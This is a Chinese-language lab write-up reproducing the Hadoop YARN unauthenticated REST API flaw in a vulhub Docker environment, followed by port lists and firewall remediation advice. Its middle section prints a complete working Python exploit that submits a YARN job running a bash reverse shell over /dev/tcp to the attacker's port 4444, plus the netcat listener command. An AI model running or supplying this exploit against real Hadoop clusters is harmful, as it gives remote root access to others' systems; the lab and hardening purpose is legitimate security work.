Hadoop-yarn-未授权访问漏洞复现(vulhub)

说明

仅供技术学习交流、请勿用于非法行为、否则后果自负

0x01 漏洞简述

Hadoop是一个由Apache基金会所开发的分布式系统基础架构,由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web 端口及部分默认服务端口,黑客可以通过命令行操作多个目录下的数据,如进行删除,下载,目录浏览甚至命令执行等操作,产生极大的危害。

HDFS是一个分布式文件系统,具有高容错性的特点,并且被设计用来部署在廉价的硬件上;而且它能够以高吞吐量来访问应用程序的数据,尤其适合那些有着超大数据集的应用程序。MapReduce是一个使用简易的软件框架,基于它编写出来的应用程序能够运行在由上千个商用机器组成的大型集群上,并以一种可靠容错的方式并行处理上T级别的数据集。

0x02 风险等级

严漏洞的评定结果如下:

评定方式 等级

威胁等级 高危

影响面 广泛

0x03 漏洞详情

由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web 端口及部分默认服务端口,黑客可以通过命令行操作多个目录下的数据,如进行删除,下载,目录浏览甚至命令执行等操作,产生极大的危害。主要 HDFS 和 MapReduce 的 WebUI 对应的服务端口。

其中比较重要的是 DataNode 默认端口 50075 开放的话,攻击者可以通过 hdsf 提供的 restful api 对 hdfs 存储数据进行操作。

0x04 影响版本

3.3.0 以下

0x05 漏洞验证

安装环境

漏洞环境:
靶机:Ubantu 12.04  IP地址:172.16.16.217
攻击机:kali 5.5.0 IP地址:172.16.16.220

安装搭建

service docker start#启动docker

cd vulhub/hadoop/unauthorized-yarn/ #进入漏洞目录

sudo docker-compose  up -d #启动漏洞镜像

Hadoop-yarn-未授权访问漏洞复现(vulhub)_第1张图片

sudo docker ps #查看镜像是否启动

进入页面172.16.16.217:8088发现hadoop成功开启

Hadoop-yarn-未授权访问漏洞复现(vulhub)_第2张图片

exp如下:

#!/usr/bin/env python

import requests

import sys

target = 'http://172.16.16.217'#目标机ip

lhost = '172.16.16.220' ##将你的本地ip填在这里,使用nc监听4444端口

target = sys.argv[1]

#lhost = sys.argv[2]

url = target + '/ws/v1/cluster/apps/new-application'

resp = requests.post(url)

app_id = resp.json()['application-id']

url = target + '/ws/v1/cluster/apps'

data = {

    'application-id': app_id,

    'application-name': 'get-shell',

    'am-container-spec': {

        'commands': {

            'command': '/bin/bash -i >& /dev/tcp/%s/4444 0>&1' % lhost,

        },

    },

    'application-type': 'YARN',

}

requests.post(url, json=data)

sudo nc -lvvp 4444#在攻击机上用NC工具开启4444侦听端口

Hadoop-yarn-未授权访问漏洞复现(vulhub)_第3张图片

sudo python3 unauthorized-yarn-hadoop.py http://172.16.16.217:8088 #执行Exp

成功反弹Shell,我们使用whoami测试显示我们的权限为root。

Hadoop-yarn-未授权访问漏洞复现(vulhub)_第4张图片

 

0x06 修复建议

1、如无必要,关闭 Hadoop Web 管理页面

2、开启身份验证,防止未经授权用户访问

3、设置“安全组”访问控制策略,将 Hadoop 默认开放的多个端口对公网全部禁止或限制可信任的 IP 地址才能访问包括 50070 以及 WebUI 等相关端口,详细端口列表如下:

a)HDFS

NameNode 默认端口 50070

DataNode 默认端口 50075

httpfs 默认端口14000

journalnode 默认端口 8480

b)YARN(JobTracker)

ResourceManager 默认端口8088

JobTracker 默认端口 50030

TaskTracker 默认端口 50060

c)Hue 默认端口 8080

d)YARN(JobTracker)

master 默认端口 60010

regionserver 默认端口60030

e)hive-server2 默认端口 10000

f)spark-jdbcserver 默认端口 10003

方法二: 设置防火墙策略

1. 设置防火墙策略:

如果正常业务中Hadoop服务需要被其他服务器来访问,可以通过 iptables 策略,仅允许指定的 IP 来访问服务。

iptables -A INPUT -s x.x.x.x -p tcp --dport 8088 -j ACCEPT

注意:x.x.x.x  修改为实际IP或者网段

2.如无必要,不要将接口开放在公网,改为本地或者内网调用

你可能感兴趣的:(漏洞复现,hadoop,安全漏洞)